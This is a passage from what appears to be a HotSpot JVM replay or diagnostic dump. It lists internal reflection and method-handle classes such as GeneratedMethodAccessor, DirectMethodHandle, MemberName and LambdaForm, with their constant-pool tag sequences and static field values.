jdk/internal/reflect/GeneratedMethodAccessor77\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor76\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor75\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor74\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor73\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor72\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor71\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor70\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor69\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor68\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor67\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor66\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor65\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor64\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor63\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor62\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor61\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor60\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor59\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor58\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor57\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor56\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor55\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor54\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor53\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor52\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor51\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor50\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor49\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor48\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor47\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor46\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor45\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor44\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor43\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor42\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor41\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor40\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor39\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor38\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor37\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor36\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor35\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor34\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor33\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor32\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor31\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor30\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor29\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor28\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor27\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor26\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor25\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor24\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor23\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor22\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor21\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor20\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor19\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor18\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor17\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor16\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor15\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor14\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor13\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor12\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor11\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor10\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor9\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor8\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor7\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor6\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor5\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor4\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor3\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor2\ninstanceKlass jdk/internal/reflect/GeneratedMethodAccessor1\ninstanceKlass jdk/internal/reflect/DelegatingMethodAccessorImpl\ninstanceKlass jdk/internal/reflect/NativeMethodAccessorImpl\nciInstanceKlass jdk/internal/reflect/MethodAccessorImpl 1 1 25 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 100 1 1 12 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor7\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor6\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor5\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor4\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor3\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor2\ninstanceKlass jdk/internal/reflect/BootstrapConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/GeneratedConstructorAccessor1\ninstanceKlass jdk/internal/reflect/DelegatingConstructorAccessorImpl\ninstanceKlass jdk/internal/reflect/NativeConstructorAccessorImpl\nciInstanceKlass jdk/internal/reflect/ConstructorAccessorImpl 1 1 27 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 100 100 1 1 12 1 1 1 1 1 1\nciInstanceKlass jdk/internal/reflect/DelegatingClassLoader 1 1 18 10 100 7 1 1 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass jdk/internal/reflect/ConstantPool 1 1 138 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 7 7 8 10 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 7 12 1 1 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/UnsafeFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/FieldAccessorImpl 1 1 59 10 100 7 100 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 1 1 1 1 1\ninstanceKlass jdk/internal/reflect/UnsafeIntegerFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeBooleanFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeQualifiedFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeObjectFieldAccessorImpl\ninstanceKlass jdk/internal/reflect/UnsafeStaticFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/UnsafeFieldAccessorImpl 1 1 253 10 9 10 10 9 10 9 10 10 9 10 10 10 10 100 10 10 10 8 10 10 100 8 10 8 10 8 10 100 10 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 8 10 10 8 8 8 8 8 8 10 8 8 8 10 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 7 12 12 7 12 12 12 12 12 12 12 7 12 12 1 12 12 1 12 1 1 12 1 12 1 12 1 12 1 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 1 100 12 12 1 1 1 1 1 1 12 1 1 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield jdk/internal/reflect/UnsafeFieldAccessorImpl unsafe Ljdk/internal/misc/Unsafe; jdk/internal/misc/Unsafe\ninstanceKlass jdk/internal/reflect/UnsafeQualifiedStaticFieldAccessorImpl\nciInstanceKlass jdk/internal/reflect/UnsafeStaticFieldAccessorImpl 1 1 43 10 9 10 9 7 7 8 10 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 7 12 12 1 1 7 12 1 1 1 1 1 1 1 1 1\nciInstanceKlass jdk/internal/reflect/CallerSensitive 0 0 17 100 100 100 1 1 1 1 1 1 1 1 1 1 1 1 1\ninstanceKlass java/lang/invoke/DelegatingMethodHandle\ninstanceKlass java/lang/invoke/BoundMethodHandle\ninstanceKlass java/lang/invoke/DirectMethodHandle\nciInstanceKlass java/lang/invoke/MethodHandle 1 1 489 9 10 10 7 7 10 9 10 10 10 10 10 10 11 10 10 10 9 10 100 100 10 8 10 10 8 10 10 10 10 10 10 10 10 10 10 7 10 10 10 8 10 8 10 10 10 10 8 10 8 10 8 10 9 100 10 9 9 8 10 10 10 10 10 10 10 10 10 10 10 8 10 8 10 10 10 10 10 9 8 10 10 8 10 10 10 10 10 100 8 10 10 9 10 7 10 10 9 10 10 8 9 9 9 10 10 10 10 7 10 8 10 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 7 12 1 1 12 12 12 12 12 100 12 12 12 100 12 12 12 12 12 12 1 1 1 12 12 1 12 12 7 12 12 12 12 12 12 12 100 12 1 12 12 12 1 7 12 1 12 12 12 12 1 12 1 12 1 100 12 12 1 100 12 100 1 12 12 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 12 1 12 12 1 12 12 7 12 12 1 1 12 12 12 1 100 12 12 12 12 12 1 12 12 12 7 12 12 12 12 1 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodHandle FORM_OFFSET J 20\nstaticfield java/lang/invoke/MethodHandle $assertionsDisabled Z 1\ninstanceKlass java/lang/invoke/DirectMethodHandle$Interface\ninstanceKlass java/lang/invoke/DirectMethodHandle$Constructor\ninstanceKlass java/lang/invoke/DirectMethodHandle$Special\ninstanceKlass java/lang/invoke/DirectMethodHandle$Accessor\nciInstanceKlass java/lang/invoke/DirectMethodHandle 1 1 922 7 7 100 7 7 10 10 100 10 10 10 10 10 10 7 7 10 10 10 10 10 10 9 100 10 9 10 10 10 10 10 10 7 10 10 10 8 10 7 10 7 10 10 10 10 10 10 100 10 10 7 10 10 10 10 8 10 10 10 10 10 9 7 10 10 10 100 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 10 8 9 8 9 9 8 9 9 8 9 9 8 10 10 7 9 7 10 100 10 10 10 10 7 10 10 10 7 10 10 10 10 10 9 10 9 9 10 10 7 7 7 9 10 10 10 10 9 10 100 10 100 10 10 8 9 9 10 9 10 9 9 10 10 10 10 10 10 10 9 10 10 10 10 10 9 10 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 8 9 9 10 100 10 9 10 7 9 10 10 10 10 10 8 8 8 8 10 9 10 7 10 8 9 10 8 8 8 9 8 8 8 8 8 8 7 8 10 10 8 8 10 10 10 10 7 7 1 1 1 1 1 1 1 100 1 1 1 1 7 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 3 1 1 3 1 1 3 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 12 12 1 12 12 12 12 12 12 1 1 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 12 1 12 1 12 1 12 12 12 12 12 1 12 12 1 12 12 12 12 12 12 12 12 12 7 12 1 12 7 12 12 1 1 12 12 12 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 1 12 1 12 12 1 12 12 1 12 12 1 12 12 1 12 1 12 1 12 12 12 12 1 12 12 12 12 7 12 12 12 12 12 12 12 7 12 12 1 1 1 12 12 12 12 12 12 12 1 12 1 12 12 1 12 12 12 12 100 12 12 12 12 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 1 12 7 12 1 12 12 12 12 12 1 1 1 1 12 12 12 1 100 12 12 12 12 1 1 12 12 1 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/DirectMethodHandle IMPL_NAMES Ljava/lang/invoke/MemberName$Factory; java/lang/invoke/MemberName$Factory\nstaticfield java/lang/invoke/DirectMethodHandle FT_UNCHECKED_REF I 8\nstaticfield java/lang/invoke/DirectMethodHandle ACCESSOR_FORMS [Ljava/lang/invoke/LambdaForm; 132 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/DirectMethodHandle ALL_WRAPPERS [Lsun/invoke/util/Wrapper; 10 [Lsun/invoke/util/Wrapper;\nstaticfield java/lang/invoke/DirectMethodHandle NFS [Ljava/lang/invoke/LambdaForm$NamedFunction; 12 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/DirectMethodHandle OBJ_OBJ_TYPE Ljava/lang/invoke/MethodType; java/lang/invoke/MethodType\nstaticfield java/lang/invoke/DirectMethodHandle LONG_OBJ_TYPE Ljava/lang/invoke/MethodType; java/lang/invoke/MethodType\nstaticfield java/lang/invoke/DirectMethodHandle $assertionsDisabled Z 1\ninstanceKlass java/lang/invoke/VarHandleObjects$Array\ninstanceKlass java/lang/invoke/VarHandleObjects$FieldInstanceReadOnly\ninstanceKlass java/lang/invoke/VarHandleInts$FieldInstanceReadOnly\nciInstanceKlass java/lang/invoke/VarHandle 1 1 298 10 9 100 10 9 10 10 10 9 10 10 9 9 10 10 10 10 10 10 10 9 100 10 9 10 10 7 7 10 10 10 9 10 9 10 10 10 100 10 9 9 10 10 10 10 10 10 10 7 10 10 9 8 10 7 10 7 100 1 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 100 12 12 1 12 12 12 1 1 12 100 12 12 12 12 12 12 12 12 1 7 12 12 7 12 12 12 12 12 12 12 1 7 12 12 12 1 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/VarHandle AIOOBE_SUPPLIER Ljava/util/function/BiFunction; jdk/internal/util/Preconditions$1\nstaticfield java/lang/invoke/VarHandle VFORM_OFFSET J 12\nstaticfield java/lang/invoke/VarHandle $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/MemberName 1 1 747 7 7 100 9 10 9 10 10 10 10 10 10 10 9 10 100 100 10 8 10 10 10 10 9 8 10 7 7 10 10 100 100 7 10 9 100 8 10 10 10 10 10 10 10 10 10 10 8 8 8 10 10 9 3 10 10 10 10 10 10 10 10 10 7 8 10 10 8 9 8 9 10 8 10 10 10 10 10 100 10 10 8 10 10 8 10 10 100 10 10 8 8 100 10 10 100 10 10 10 10 10 10 10 10 10 3 10 3 10 3 3 3 3 3 3 100 10 10 10 3 9 10 3 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 10 10 100 10 10 10 10 10 10 8 10 10 10 10 10 10 10 10 10 10 10 10 10 100 10 100 8 10 7 10 10 10 10 10 8 8 8 8 10 10 10 8 8 10 8 10 10 10 8 8 10 10 8 10 8 10 10 10 8 8 8 100 10 8 8 8 8 10 100 100 100 10 100 10 100 10 9 10 100 100 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 3 1 3 1 3 1 3 1 1 1 1 1 1 1 1 3 1 1 1 1 3 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 100 1 1 1 1 1 1 1 1 1 7 1 1 12 12 12 12 12 12 12 12 12 12 100 12 12 1 1 12 1 12 12 12 12 12 1 100 12 1 1 12 1 12 12 1 1 12 12 12 12 12 12 12 12 12 12 1 1 1 100 12 12 12 12 12 12 12 12 12 12 12 1 12 12 100 100 12 1 12 12 12 12 12 1 12 12 1 12 12 1 12 12 1 12 12 1 1 1 12 100 12 1 12 12 12 12 12 12 12 12 12 12 100 1 12 7 12 12 12 12 12 7 12 12 12 12 12 12 12 12 12 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 1 12 1 1 1 12 12 12 12 12 1 1 1 1 12 12 12 1 1 12 1 12 12 1 1 12 1 12 1 12 12 12 1 1 1 1 1 1 1 1 12 1 1 1 1 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MemberName $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/ResolvedMethodName 1 1 16 10 100 100 1 1 1 1 1 1 1 1 1 12 1 1\nciInstanceKlass java/lang/invoke/MethodHandleNatives 1 1 660 100 10 9 10 100 10 10 10 10 8 8 8 8 8 8 8 8 8 8 7 10 7 10 10 7 10 10 8 10 8 10 8 10 9 8 10 100 10 100 100 8 7 7 10 10 7 9 10 10 10 7 10 10 10 10 10 9 8 10 8 10 8 8 8 100 10 8 10 10 10 100 8 10 7 8 10 8 8 8 8 8 10 10 10 10 10 7 10 100 100 10 10 8 8 10 10 10 8 10 8 8 10 10 100 10 7 9 10 10 10 9 10 9 9 10 10 10 7 7 10 10 10 10 10 8 10 10 10 10 10 10 100 8 10 9 10 10 100 10 10 100 100 10 10 100 100 10 100 10 10 10 10 10 10 10 10 10 10 10 10 8 100 10 10 10 10 10 10 7 10 10 10 10 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 1 12 12 12 1 1 1 1 1 1 1 1 1 1 1 12 1 12 12 1 12 1 12 1 12 1 12 100 12 1 100 12 1 12 1 1 1 1 1 12 1 7 12 12 12 12 1 12 7 12 12 12 12 12 1 12 1 12 1 1 1 1 12 1 12 12 100 12 1 100 12 1 1 12 1 1 1 1 1 12 12 12 12 12 1 12 1 1 12 12 1 1 12 12 1 100 12 1 1 12 12 1 12 1 12 7 12 12 12 12 12 12 12 12 12 1 1 12 12 12 7 12 12 1 12 12 12 12 7 12 12 1 1 12 12 12 1 12 12 1 1 1 1 1 12 12 12 12 12 12 12 12 12 1 1 12 12 12 12 12 12 1 12 12 12 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/MethodHandleNatives $assertionsDisabled Z 1\nciInstanceKlass java/lang/invoke/LambdaForm 1 1 1075 100 9 10 10 9 9 10 100 10 9 10 9 10 7 9 9 9 9 10 7 10 7 10 10 10 10 10 10 9 100 10 9 10 10 10 10 10 7 10 10 8 10 10 10 7 10 10 7 10 10 9 9 9 10 9 10 10 100 10 9 10 10 100 10 10 10 10 10 10 10 8 10 10 8 8 9 9 9 10 10 10 9 10 10 10 10 10 10 9 10 8 8 8 8 8 8 8 8 10 9 7 10 9 10 10 10 10 10 10 10 10 10 10 10 10 10 10 100 8 10 10 10 10 8 10 8 8 10 9 10 10 100 10 10 10 10 9 8 10 10 10 10 10 9 8 10 100 10 10 9 9 8 10 10 100 100 10 10 8 8 100 8 10 10 10 8 8 9 10 10 8 8 8 100 8 100 8 100 8 10 8 9 10 10 9 10 10 10 10 10 10 10 10 10 10 8 100 10 10 9 10 8 8 100 8 8 8 8 8 8 8 8 10 10 10 10 8 8 8 10 8 10 8 8 8 8 8 10 10 10 10 10 10 10 10 10 10 10 9 8 10 9 10 9 9 9 9 7 10 9 10 10 7 8 10 9 7 10 8 100 10 9 9 10 7 10 10 10 9 10 10 10 9 10 10 10 9 10 9 7 9 10 9 10 100 10 7 9 100 1 1 100 1 100 1 1 1 7 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 3 1 3 1 1 1 1 1 3 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 100 1 1 12 12 12 12 12 12 1 12 12 12 7 12 12 12 12 12 12 1 12 1 12 12 100 12 100 12 12 12 12 1 12 12 12 12 12 12 12 1 12 1 12 12 12 1 12 12 1 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 12 12 12 12 12 12 12 1 12 12 1 1 12 12 12 12 7 12 12 12 7 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 12 12 1 12 12 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 12 12 12 1 12 1 1 12 12 12 12 1 12 12 7 12 12 12 1 100 12 12 12 12 12 12 1 12 12 7 12 12 1 12 12 1 1 12 1 1 1 1 12 12 12 1 1 12 12 12 1 1 1 1 1 1 1 1 1 12 1 12 12 12 12 12 12 12 12 12 12 12 12 1 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1 1 12 1 12 1 1 1 1 1 12 12 12 7 12 12 12 12 12 12 12 12 12 1 12 12 12 12 12 12 12 1 7 12 12 12 12 1 1 12 12 1 12 1 1 12 12 12 12 1 12 7 12 12 7 12 12 12 12 12 12 12 12 12 12 12 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield java/lang/invoke/LambdaForm COMPILE_THRESHOLD I 0\nstaticfield java/lang/invoke/LambdaForm INTERNED_ARGUMENTS [[Ljava/lang/invoke/LambdaForm$Name; 5 [[Ljava/lang/invoke/LambdaForm$Name;\nstaticfield java/lang/invoke/LambdaForm IMPL_NAMES Ljava/lang/invoke/MemberName$Factory; java/lang/invoke/MemberName$Factory\nstaticfield java/lang/invoke/LambdaForm LF_identity [Ljava/lang/invoke/LambdaForm; 6 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/LambdaForm LF_zero [Ljava/lang/invoke/LambdaForm; 6 [Ljava/lang/invoke/LambdaForm;\nstaticfield java/lang/invoke/LambdaForm NF_identity [Ljava/lang/invoke/LambdaForm$NamedFunction; 6 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/LambdaForm NF_zero [Ljava/lang/invoke/LambdaForm$NamedFunction; 6 [Ljava/lang/invoke/LambdaForm$NamedFunction;\nstaticfield java/lang/invoke/LambdaForm 